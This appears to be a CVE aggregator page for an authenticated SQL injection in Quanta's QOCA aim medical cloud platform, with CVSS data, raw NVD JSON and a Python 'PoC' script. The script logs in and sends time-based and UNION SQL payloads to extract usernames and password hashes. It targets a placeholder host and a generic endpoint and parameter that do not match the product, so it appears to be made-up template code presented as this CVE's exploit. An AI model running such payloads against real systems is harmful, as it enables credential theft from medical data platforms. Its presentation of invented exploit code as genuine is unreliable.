Security Vulnerability Report
中文
CVE-2025-15238 CVSS 6.5 MEDIUM

CVE-2025-15238

Published: 2026-01-05 08:15:58
Last Modified: 2026-01-20 21:09:53

Description

QOCA aim AI Medical Cloud Platform developed by Quanta Computer has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:quantatw:qoca_aim:*:*:*:*:*:*:*:* - VULNERABLE
QOCA aim AI Medical Cloud Platform (版本信息待官方确认)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-15238 SQL Injection PoC # Target: QOCA aim AI Medical Cloud Platform # Type: Time-based Blind SQL Injection import requests import time TARGET_URL = "https://vulnerable-server.com/api/endpoint" LOGIN_URL = "https://vulnerable-server.com/api/auth/login" def login(username, password): """Authenticate with low-privilege account""" session = requests.Session() login_data = { "username": username, "password": password } response = session.post(LOGIN_URL, json=login_data) return session if response.status_code == 200 else None def extract_db_version(session): """Extract database version using time-based blind SQLi""" # SQL Injection payload for MySQL/MariaDB payload = "' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -" headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json" } data = { "parameter": payload } start_time = time.time() response = session.post(TARGET_URL, json=data, headers=headers) elapsed = time.time() - start_time if elapsed >= 5: print("[+] SQL Injection confirmed! Database is vulnerable.") return True return False def extract_data(session): """Extract sensitive data using UNION-based SQL injection""" # Example: Extract usernames and password hashes union_payload = "' UNION SELECT NULL,username,password_hash,NULL FROM users-- -" headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json" } data = { "parameter": union_payload } response = session.post(TARGET_URL, json=data, headers=headers) return response.text if __name__ == "__main__": print("CVE-2025-15238 PoC - QOCA aim AI Medical Cloud Platform SQL Injection") print("=" * 70) # Step 1: Login with low-privilege account session = login("lowpriv_user", "password123") if not session: print("[-] Authentication failed!") exit(1) print("[+] Successfully authenticated with low-privilege account") # Step 2: Verify SQL injection vulnerability if extract_db_version(session): print("[+] Extracting database contents...") data = extract_data(session) print(f"[+] Extracted data: {data}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15238", "sourceIdentifier": "[email protected]", "published": "2026-01-05T08:15:57.803", "lastModified": "2026-01-20T21:09:53.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "QOCA aim AI Medical Cloud Platform developed by Quanta Computer has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:quantatw:qoca_aim:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.6", "matchCriteriaId": "4D325141-836B-4D68-87D4-9E4BD8F2A80F"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10616-cd942-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10615-157a3-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}